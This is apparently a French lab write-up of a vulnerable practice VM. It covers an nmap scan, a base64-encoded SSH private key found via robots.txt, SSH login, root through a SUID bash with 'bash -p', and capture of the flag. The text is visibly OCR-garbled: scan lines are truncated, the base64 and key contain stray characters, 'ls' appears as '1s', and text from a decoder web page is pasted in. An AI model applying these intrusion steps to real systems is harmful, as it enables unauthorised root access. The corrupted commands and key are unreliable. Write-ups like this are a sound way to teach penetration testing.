[PENTEST] Exploitation de la Machine : Info Sec

Contexte : Lab de cybersécurité réalisé en Master 2.

Environnement : Machine cible Stapler sur hyperviseur UTM (Macbook Air M2 -
Architecture ARM).

Objectif : Obtenir un accés Root et capturer le flag flag.txt.

1 - Phase de Reconnaissance

On commence par faire un scan nmap agressif sur la machine afin de connaitre les ports
ouverts et leurs services avec leurs versions.

172.20.10.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-21 14:12 CET
map scan report for 172.20.10.4
ost is up (0.090s latency).
ot shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
P2/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu@.1 (Ubuntu Linux; protocol 2.0)

:0d:d4:39:05:e3:13:55:57:8f:1b:46:90:db:e4 (RSA)
al:31:f2:f6:aa:75:e8:17:01:e7:1e:d1:d5 (ECDSA)
|_ 256 af:fl:53:ea:7b:4d:d7:fa:d8:de:0d:f2:28:fc:86:d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| _http-title: OSCP Voucher &#8211; Just another WordPress site
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry
|_/secret.txt
IAC Address: 34:6F:24:97:9F:93 (AzureWave Technology)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik Router0S 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
etwork Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

ADDRESS

On remarque que le port 80, un serveur web Apache sur lequel tourne Wordpress.

En allant sur le serveur web a /robots.txt, on remarque un fichier étrange nommé
“secret.txt”
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User-Agent: *
Disallow: /secret.txt

On s’y rend.
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LSOtLS1ICRUdITiBPUEVOUINIIFBSSVZBVEUgSOVZLSOtLSOKYJNCbGIuTnphQzFyWlhrdGRqRUFB
QUFBQkc1dmJtVUFBQUFFYm@5dVpRQUFBQUFBQUFBQKFBQUJsd0FBQUFkemMyZ3Rjbgp0aEFBQUFB
deVBQVFBQUFZRUFOSENzU3pIdFVGOEs4dGLPcUVDUVIMcktLckNSc232cTZpSUc3UjLnMFdQdj13
K2drvvd1Ck16QIN;jdmdsTEUSZmxvbHNLZHhmTVFRYk1WR3FTQURUWUJUYXZhaWdRZWt1ZTBiTHNZ
ay9yWjVGaE9VU1pMVHZKbEpXeHoKYK11eUM1YTVGMERSsOVVZbXpDaGUOM3owRG8waVF3MTc4ROpV
UWFxc2NMbUVhdHFJaVQvMkZ rRitBdmVXM2hxUGZicnc5dgpBOVFBSVVBM2x1ZHFyWOFhFelkvLOxx
MCtzUWcvcFV1IMEtQalkx0Gk2dm5maV1IR2t5VzFTZ3I5UGgleDLICRIRrM2VSWWNOCnhc2bURLQWpPY
SOtDSEdNK2Rubkd0Z3ZBa3FUK2daV3ovTXB5MGV rYXVrNk5QNO5Dek9STnIIWEFZRmEXcld6YUVO
eXBId1kKaONFY2ZXSkpsWjcrZmNFRmME1QjdnRXdOL2FLZEZSWFBRA2TuRmxpUU1ZTW1hdThQWmIQ
alJJcnhOSV1YeTNNSGNLQk1zSgowSFNLAitIYktXOWtwVEwW1T29Ba0I4ZkhGMzBlalZPY]jZZVHVj
MXNKS1dSSE1aWTNxZTA4STISWGVFeEZGWXU5b0x1ZzBKkCnRIWWRKSEZMN2NXaU52NG1SeUo5UmNy
aFZMMVYzQ2F6TlpLS3dyYVIBQUFGZOg5SLFMMSOTVUMSQUFBQUIZTnphQzF5YzIKRUFBQUACQUXS
d3JFc3g3VkImQ3ZMWWpxaEF rROM2eWlxd2tiRzc2dwW9pQnUwZ110Rmo3L2NQbOpGRm5pTXdVbkwo
SIN4UApYNWFKYkNuY1h6RUVHekZScWtnQTUyQVUycjIvbOVICcEXudEdSNOAKUDYYZVIZVGXFV1Mw
NzNaUlZzYzJ5SHNndVd1UmRBCjVmVkdKc3dvWHVOODLBNk5Ja010259CaVZFR3FySEMlaEdyYWL]
ay85aFpCZmdMM2xONGFqMzI20FBid1BVQUNGQU41WG4KYXEVRNhNM1AveTZOUHIFSVA2Vkx0Q201
RO5mSXVYyNTMObUJ4cE1sdFVvSzhgNGVjZ1FSazVOM2tXSER]j T3BnMndIMX1pZwpoeGpQbloleGpZ
THAKS2svbOdWcy96S2NOSHBHcnBPalQrelFzemtUYX1GdOdCV3RhMXMyaExj cVI4ROpBaEhIMWLT
Wld1Ci9uMeJICV3IVRZTRCTUXmMmLuUlVWe jBNSXBAWLLrREdESm1ydkQyV300Z1NLOGITROY4dHpC
MONNUOxDZEIwaXIvaDJI5bHYKWktVeStUcUFKQWZIeHhkOUxvMVRtK21FN250YKNTbGtSeUdXTjZu
dFBDTmtWM2hNULIXTHZhQzdvTkhiUjJIU1J4UyszRgpvamIrSmtjaWZVWEsOVIM5VmR3bXN6V1Np
cOsyalFBQUFBTUJBQUVBQUFHQKFMQ316ZVpOSKFwYXFHd2I2Y2VXUWt5WFhyCmJgWmlsNDdwa®5i
VjcwSldtbnhpeFkzMUtgqckRLbGRYZ2t6TEpSbORMWXAXVNUrcOVUVmxXN3RWY0JtNUlabVFPMWLB
cEQKZ1VNemx2RnFpRE5MRktVSmRUajdmcX1PQVhEZ2t20FFrc05tRXhLb0IBakduTT110HISQX1lq
NVBObzF3QVdLcENMeE1ZMwpCaGRsbmVOYUFYRFYVvYOtHRNZXMWFPTWxHQ2VhS jBEeFNBdOc1Snlz
NEtpNmtKNUVrZ1ldvOGVsclVXRjMwd1FrVz15ak1QCLVGNUZXNnVKST1BubUVXQXB2THQ2MK1 LVHZG
cWcrdFBOR25WUGX 1 TzNsdm5DQkJJeGY4dk] rOFd@bOpWSmRKdADNoTzhjNGoKa010WHN2TGdSbHZ1
MWJaVVpYNU15bUhhbE4vTEEXSXNvQzRZa2cvcELInM3M5Y11SUmt tKOd4aVVVNWI20wWv6doeeQmlr
bwpRUHZ5VWN5ZTI4endrTzZ0Z1ZNWngOb3NySW900VdORFVVZGIkbUQyVUJaMm4zQ1lpNa®@9WOVhK
eGVqdTUxa0gxZnM4cTM5CLFYZnhkTmhCYjNZcjJSakNGVUxEeGh3RFNISHpHN2dmSKVEYVdZYQ9r
TmtJIYUhIZ2FWN2t4enlwWWNXTHIzMFM3QzRRQUEKQU1FQWhkbUQ3UXU1dHI@QKYzbWdmY2RXCFpP
cTYrdFc2aGttUjBoWk5YNV0o2Zm51ZFVALY9RWTVzdOtBRXZnTKNLSzhTbQppRlhsWWZnSDZLLzVV
b1lpuZOViaklRTVRKT09sa2JyZ3BNWWLoK1pneXZLMUxvVT1R5TXZWZ1Q1TElnakpHc2FRNTM5MO0yY
CnlVRWLTWGVYN3ESME42VkhZWERKaFVXWDIWM1FNYONXxcHRTQ1IMxY LNxdmttTnZoUVhNQWFBUzhB
Sncx0XFYV1hpbTE1IU3AKV29xZGpvU1ldFSnhLZUZUd1VXN1dPaV1DMkZ2NWRzM2NZT1I4Um9yYm1H
bnpkaVpneFpBQUFBd1FEaE5YS21TMGOWTWREeQozZktaZ1R1d3I4ATXk1SH1sNWpyYTZvd2ovNXIK
TVVYNnNgWkVpZ1phOTZFamNld1pKeUdURjJ1Vjc3QVEyUnF3bmliMkdsCmpkTGtjMFLOOXVicVNp
a2Q1ZjhBalpswWkJzQ0lydnVEUVpDb3haQkd1RDJIEVVA6T2dLTWxmeHZGQk5RRitMVOZndGIyU1AK
T2dCNGloZFBDMSs2RmRTalFKNzdmMWIOROhtbjBhbW9pdUpgbFVPT1BMMWNIUHpOMGh6RVIMajx
dj LEVWVsVE9VcmFuTwpjVVdyUGdyelZHVCtRdmt rakdKR1lgrcjhOR1dDQUIRUTVBQUFEQKFNMGNS
aERvd09GeDUwSGtFKOhNSUoyalFJZWZ2d3BtCkJUuMKZONmt3NEAMWmLWY3FVVDZhWTY4bmpMawho
RHB1ZVN6b3BTanlLaDEwYk53UTMwREFITHN]V2c2eGMvUj h5dWVBZUKKUMN30DV1ZGtoT1ZXcGVy
ZzRPc21GWk1wdOtxY01sdDhpNmxWbWOVQmpSAEJENGc1TVIXUKFOTZzB0aj lWVO1UY1lc5UkxpUgpr
dwW9SaVNoaDZ1Q2pHQONIL1dmdONvZ]j LLbkNlajRIRWo1RVBqOG5aMGNNTnZvQVIxXN1ZuQO5HVFBh

LLAIVAG Tt VAAVA T AL kTl a kAR AL G c LR =T FRANIIFDLITZIMLESINIAC 21T L=ATA/ Akl CcArTLAL

Ce texte m’a I'air d’étre en base64, je vais essayer de le décoder pour en avoir le texte en
clair.



QUFBQkc1dmJtVUFBQUFFYmO05dVpRQUFBQUFBQUFBQKkFBQUJsdOFBQUFkemMyZ3RjbgpOaEFBQUFB
dOVBQVFBQUFZRUFOSENzU3pldFVGOEs4dGIPcUVDUVIMcktLckNSc2J2cTZpSUc3UjInMFdQd;I3
K2drvVdICkI6QINjdmdsTEU5ZmxvbHNLZHhmTVFRYk1WR3FTQURuUWUJUYXZhaWdRZWt1ZTBiTHNZ
ay9yWjVGaE9VUIpMVHZKbEpXeHoKYklleUM1YTVGMERsOVVZbXpDaGUOM3owRG8waVF3MTc4R0OpV
UWFxc2NMbUVhdHFJaVQvMkZrRitBdmVXM2hxUGZicnc5dgpBOVFBSVVBM2xIZHFyOFhFelkvLOxx
MCtzUWcveFV1IMEtQalkxOGk2dm5maVIIR2t5VzFTZ3J5UGg1eDICR1IRrM2VSWWNOCNc2bURIQWpY
SO0tDSEdNK2RubkdOZ3ZBa3FUK2daV3ovTXB5MGVrYXVINk5QN05Dek9STnIIWEFZRmEXxcld6YUVO
eXBld1kKaONFY2ZXSkpsWjcrZmNFRmME1QjdnRXdOL2FLZEZSWFBRd2IuRmxpUU1ZTW1hdThQWmJQ
alJJcnhOSVIYeTNNSGNLQkIzSgowSFNLdItlYktXOWitwVEwW1T29Ba0l4ZkhGMzB1alZPYjZZVHVj
MXNKS1dSSEIaWTNxZTA4STISWGVFeEZGWXU5b0x1ZzBKChRIWWRKSEZMN2NXaU52NG1SeUo5UmNy
aFZMMVYzQ2F6TIpLS3dyYVIBQUFGZ0g5SIFMMS9TVUMSQUFBQUIZTnphQzF5YzIKRUFBQUACQUXS y

© Pour les binaires encodés (comme les images, les documents, etc.), utilisez le formulaire de téléchargement de fichiers un peu

plus bas sur cette page.

UTF-8 v Jeu de caractéres source.
Décoder chaque ligne séparément (utile lorsque vous avez plusieurs entrées).

@ Mode direct OFF  Décodage en temps réel alors que vous tapez ou collez (prenant en charge uniquement le jeu de

caractéres UTF-8).

£ DECODAGE > Décodage de vos données dans la zone ci-dessous.

BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktd[EAAAAABGS5vbmUAAAAEbMOUZQAAAAAAAAABAAABIWAAAAdzc2gtcn
NhAAAAAWEAAQAAAYEAIHCsSzHtUF8K8tOGECQYLrKKrCRsbvq6ilG7RIgOWPvIw+gkUWe
1zBScvgILE9flolsKdxfMQQbMVGgSADNYBTavaigQekueObLsYk/rZSFhOURZLTvdIJWxz
bleyC5a5F0DI9UYmzChe43z0Do0iQw178GJIUQaqscLmEatqliT/2FkF+AveW3hgPfbrw9v
A9QAIUA3Iedqr8XEzY//Lq0+sQg/pUu0KPKY18i6vnfiYHGKyW1SgryPh5x9BGTk3eRYcN
wBmMDbAJXKKCHGM+dnnGNgvAkgT+gZWz/MpyOekauk6NP7NCzORNrIXAYFalrwzaEtypHwY
kCEcfWJJIZ7+fcEFa5B7gEWt/aKdFRXPQWInFIIQMYMmau8PZbPiBIrxtlY Xy3MHcKBIsJ
OHSKv+HbKW9kpTL500AkB8fHF30ujVOb6Y TuclsJKWRHIZY3qe08I12RXeExFFYu9oLug0d
tHYdJHFL7cWiNv4mRyJ9RcrhVL1V3CazNZKKwraRAAAFgH9JQL1/SUC9AAAAB3NzaClyc2
EAAAGBALRWrEsx7VBfCVLYjghAkGC6yiqwkbG76uoiBuOfYNFj7/cPoJFFniMwUNL4JSXP
X5aJbCncXzEEGzFRgkgA52AU2r200EHpLNtGY7GJP62eRYTIEWS073ZSVsc2yHsguWuRdA

Cela ressemble a une clé privée ssh, qui permet de se connecter en ssh pour le client sans
mettre de mot de passe. Ca tombe bien on a un service ouvert ssh sur notre machine sur le
port 22.

2 - Exploitation (Accés Initial)

Jenregistre cette clé ssh dans un fichier que I'on va nommer “id_rsa.pub”, en lui donnant
les permissions qui conviennent.

~/Bureau

600 id_rsa.pub




Puis aprés cela on essaye de se connecter a notre service ssh.

~/Bureau
id_rsa.pub oscp@l72.20.10.4

The authenticity of host '172.20.10.4 (172.20.10.4)' can't be established.
ED25519 key fingerprint is: SHA256:00RLHLYgI1TRZ4nXi9ng+WIrJ26fv7tfgvVHm8FaAzE
This key is not known by any other names.

Cela semble fonctionner...

Last login: Sat Jul 11 16:50:11 2020 from 192.168.128.1

-bash-5.0% id

uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(1xd)
-bash-5.0% whoami

oscp

-bash-5.0$ pwd

/home/oscp

-bash-5.0% 1s -al

total 32
drwxr-xr-x
drwxr-xr-x
-rw

4 oscp oscp Jul

3 root root Jul o7

1 oscp oscp Jul .bash_history

-rw-r--r-- 1 oscp oscp Feb .bash_logout

-rw-r--r-- 1 oscp oscp Feb .bashrc

drwx 2 oscp oscp Jul .cache

-rwxr-xr-x 1 root root Jul ip

-rw-r--r-- 1 oscp oscp Feb .profile

drwxrwxr-x 2 0oscp oscp Jul .ssh

-rw-r--r-- 1 oscp oscp 0 Jul .sudo_as_admin_successful
-bash-5.0$% cd ip I
-bash: cd: ip: Not a directory

-bash-5.0$ cat ip

#!/bin/sh

cp /etc/issue-standard /etc/issue

/usr/local/bin/get-ip-address >> /etc/issue

-bash-5.0% /bin/bash

3 - Elévation de Priviléges (Post-Exploitation)

Maintenant nous devons passer “root”.

bash-5.0% 1s -1 /usr/bin/bash
-rwsr-sr-x 1 root root 1183448 Feb 25 2020 /usr/bin/bash

Pour cela on exécute les commandes suivantes :

bash-5.0$ bash -p

bash-5.0# id

uid=1000(oscp) gid=1000(oscp) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),s6(plugdev),116(1xd)
,1000(oscp)

bash-5.0# ||

uid=1000(oscp) gid=1000(oscp) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(1xd)
,1000(oscp)

bash-5.0# cd /root

bash-5.0# 1s

fix-wordpress flag.txt snap

bash-5.0# cat flag.txt

d73b04b0e696b0945283defa3eee4538

Le flag est : d73b04b0e696b0945283defa3eee4538
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